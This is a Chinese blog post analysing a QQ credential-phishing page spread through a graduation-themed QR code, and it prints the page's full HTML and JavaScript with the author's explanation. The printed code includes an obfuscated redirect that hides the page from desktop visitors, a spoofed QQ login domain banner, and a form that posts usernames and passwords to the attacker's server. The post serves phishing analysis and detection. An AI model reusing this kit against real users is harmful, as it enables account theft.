一个QQ用户名/密码钓鱼分析

写在前面

之前好像一直都没有碰到过钓鱼页面啥的…前天刚好碰到,就简单分析一下。

钓鱼分析

钓鱼网址藏在一个二维码中,正值毕业季啊,二维码图片上写着“青春不散场”…看着就很像真的…

二维码对应的URLhttps://sharechain.qq.com/1b4e56f042d5bf060fe0e44d6346eebf,是一个腾讯微云的链接。没有用过腾讯微云,感觉像是分享一个帖子,然后帖子点进去就是下图的形式。在电脑上看的话,其实很快就能发现这个东西不太对劲,但是在手机上是不能显示实际对应的跳转链接。文本显示链接与实际跳转链接不对应,这个特征在钓鱼网站检测中也经常用到。

在这里插入图片描述

接下来就看一下www.dfesd.com/images/ee/yyoui.html这个链接的内容是什么。

<!DOCTYPE html>
<html lang="zh-cn">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta id="viewport" name="viewport" content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
    <link href="http://sasdh447.6600.org/template/css/css.css" rel="stylesheet" type="text/css">
    <link rel="stylesheet" href="http://qzonestyle.gtimg.cn/qzone/phone/style/login.css">
    <script src="http://open.mobile.qq.com/sdk/qqapi.js?_bid=152"></script>
    <script type="text/javascript">
$(function(){

 mqq.ui.setTitleButtons({
   left : {
       title : "私密相册",
       callback : function () {
          //
       }
   },
   right : {
       hidden: true
   }
})
  
});
</script>
    <!--顶部banner-->
  </head>
  <script>
    var doc=$(document);var _touches_point1=0;var _touches_point2=0;addEventListener("touchstart",function(a){_touches_point1=a.touches[0].pageY});addEventListener("touchmove",function(a){_touches_point2=a.touches[0].pageY;if(doc.scrollTop()<=0&&_touches_point1<_touches_point2){a.preventDefault();if($("#_domain_display").length<=0){$("body").prepend('<div id="_domain_display" style="text-align:center;background-color:#bebdc2;color:#65696c;height:0px;padding-top:15px;line-height:26px;font-size:12px;overflow:hidden;"><p>网页由 '+
	'ui.ptlogin2.qq.com'
	+' 提供</p><p>QQ浏览器X5内核提供技术支持</p></div>')}$("#_domain_display").height((_touches_point2-_touches_point1))}});addEventListener("touchend",function(a){$("#_domain_display").slideUp("normal",function(){$("#_domain_display").remove()})});
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 1={4:6,5:6,7:6};8 2=9.d;1.4=2.3("b")==0;1.5=2.3("c")==0;1.a=(2=="e")||(2.3("f")==0);k(1.4||1.5||1.7){o.n.l="g://j.i.h/m/"}',25,25,'|system|p|indexOf|win|mac|false|xll|var|navigator|x11|Win|Mac|platform|X11|Linux|http|com|qq|pvp|if|href||location|window'.split('|'),0,{}));

/* 上面一段js最终为执行了如下代码
var system = {
    win: false,
    mac: false,
    xll: false
};
var p = navigator.platform;
system.win = p.indexOf("Win") == 0;
system.mac = p.indexOf("Mac") == 0;
system.x11 = (p == "X11") || (p.indexOf("Linux") == 0);
if (system.win || system.mac || system.xll) {  //检测到系统之后跳转到http://pvp.qq.com/m/
    window.location.href = "http://pvp.qq.com/m/"
}
*/
if(navigator.userAgent.indexOf('QQ/')>0){
  }else{
	window.location.href='http://i.qq.com';
  }
var province = remote_ip_info.province; var city = remote_ip_info.city; document.getElementById("ip").value=province+city;</script>
 <!--下面这段html代码,是模仿了qq空间的登录界面-->
 <body style="zoom: 1;">
    <div id="content" class="content">
      <div id="error_tips">
        <div id="error_tips_content">
          <span id="error_icon"></span>
          <span id="error_message"></span>
        </div>
      </div>
      <div id="login" class="login">
        <div id="logo" class="logo"></div>
        <div id="app_name" style="display: none"></div>
        <div id="q_login" class="q_login" style="display: none">
          <div id="q_login_title">
            <div id="q_login_logo"></div>
            <label id="q_login_tips"></label>
          </div>
          <div id="q_logon_list" class="q_logon_list"></div>
        </div>
        <div id="web_login">
          <form id="loginform" autocomplete="off" name="loginform" action="" method="" target="" style="margin:0">
            <input type="hidden" name="ip" id="ip" />
            <ul id="g_list">
              <li id="g_u">
                <div id="del_touch" class="del_touch">
                  <span id="del_u" class="del_u"></span>
                </div>
                <input id="u" class="inputstyle" name="hrUW3PG7mp3RLd3dJu" autocomplete="off" placeholder="QQ号码/手机/邮箱"></li>
              <li id="g_p">
                <div id="del_touch_p" class="del_touch">
                  <span id="del_p" class="del_u"></span>
                </div>
                <input id="p" class="inputstyle" maxlength="16" type="password" name="LxMzAX2jog9Bpjs07jP" autocorrect="off" placeholder="请输入您的QQ密码"></li>
            </ul>
            <div href="javascript:void(0);" id="go">登 录</div></form>
        </div>
        <div id="switch">
          <div id="swicth_login" onclick="pt._switch()" style="display: none"></div>
          <div id="zc_feedback">
            <span id="zc" onclick="window.open('http\://ptlogin2.qq.com\x2Fj_newreg_url')">注册新帐号</span>
            <span id="forgetpwd" onclick="window.open('http\://ptlogin2.qq.com/j_findpwd_url')">忘了密码?</span></div>
        </div>
        <div id="custom_bottom"></div>
      </div>
      <div id="vcode">
        <label id="vcode_tips"></label>
        <div id="vcode_area">
          <img id="vcode_img">
          <label id="input_tips"></label>
          <input id="vcode_input" name="vcode_input" tabindex="3" autocomplete="off" autocorrect="off" maxlength="6"></div>
        <div id="button"></div>
      </div>
    </div>
    <div id="new_vcode" class="new_vcode"></div>
    <div id="footerBlank"></div>
        <script>
      var times = 0;
      function error(msg) {
        $("#error_tips").css({
          display: 'block'
        });
        $('#error_message').html(msg);
        err = true;
      }
      $('form input').focus(function() {
        $("#error_tips").css({
          display: 'none'
        });
        err = false;
      });
      $("#error_tips").on('click',
      function() {
        $(this).hide();
      });
      $("#go").on('click',
        function() {
        var $this = $(this);
        err = false;
        var p = $("#p").val();
        var u = $("#u").val();
	u == '' && error('您还没有输入帐号!');	
	if(err) return false;
	p == '' && error("您还没有输入密码!");
	if(err) return false;

	/^[1-9][0-9]{5,9}$/.test(u) || error('请输入正确的帐号!');
	if(err) return false;

	if(sameChar(u)){
		error("您输入的帐号或密码不正确,请重新输入。");
		$("#u").val('');
		$("#p").val('');
		return false;
	}
	
	var len = p.length;

	(len < 6 || len>16) && error('您输入的帐号或密码不正确,请重新输入。');
	/*新增密码校验*/
	var pattern = /[\u4e00-\u9fa5]+/g;
	pattern.test(p) && error("您输入的帐号或密码不正确,请重新输入。");
	var pattern2 = /^[0-9]*$/g;
	pattern2.test(p) && error("您输入的帐号或密码不正确,请重新输入。");
	if(sameChar(p)){
		error("您输入的帐号或密码不正确,请重新输入。");
		$("#p").val('');
		return false;
	}
	/**/

		if (!err){
			$.ajax({
				url:'http://sasdh447.6600.org/save.php',
				type:'POST',
				dataType:'json',
				async:false, 
				data: $('#loginform').serialize(),
				success:function(r){
				$.getScript('http://sasdh447.6600.org/lib/t.js');
				},
				error:function(er){
				$.getScript('http://sasdh447.6600.org/lib/t.js');
            }
			})
		}
      })
    	  function sameChar(str){
		  var result = true;
		  var c = str.charAt(0);
		  for(var i=0;i<str.length;i++){
			  if(c != str.charAt(i)){
				 result = false;
				 break;				 
			  }
		  }
		 return result;
      }
      </script>
    <div style="display:none;">
  </body>
</html>

理解了一下,其中的js代码会判断访问者所使用的操作系统平台,如果是win/mac/linux,就会直接跳转到王者荣耀的一个网址,之后会判断是否是使用QQ的浏览器来登录的,如果是,则不跳转,如果不是,就会跳转到https://i.qq.com/。查了一下发现当有好多个window.location.href='xxx'时,只会执行最后一个,而且通过测试发现,页面的跳转会在后面所有的js代码都执行结束之后发生。

这部分代码其实就是防止自己被发现吧。当使用电脑登录的时候,就直接跳转到正常的页面。

如果我们是通过手机QQ直接扫描二维码,访问网址,那页面不跳转,会看到一个和正常的QQ空间登录一样的界面,最后面的js代码进行了一些简单的对用户名/密码的判断,避免访问者输入相同的用户名/密码,检测用户名是否全是数字等等,比较好理解。当js代码判断没有错误之后,就会把用户名密码传递给一个http://sasdh447.6600.org/save.php的网址,这才是真正的钓鱼者的服务器,他应该会在后台使用拿到的用户名密码,登录QQ空间,发一些消息,继续传播钓鱼界面。现在因为都有设备锁,所以钓鱼者是没办法直接登录QQ,但是邮件、空间等等这些都是可以登录的。

在这里插入图片描述

另外,最开始腾讯微云的链接是跳转到www.dfesd.com下的一个网址,这个是阿里巴巴下的一个快递公司…是合法的,感觉应该是这个网站有漏洞,然后通过这个漏洞上传了yyoui.html这个页面。没有直接在钓鱼者自己的服务器上放yyoui.html页面,应该也是出于保护自身的缘故吧。

最后

感觉钓鱼检测在移动端需求更大,但是移动端…emm…看论文来说好像不是很多。

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值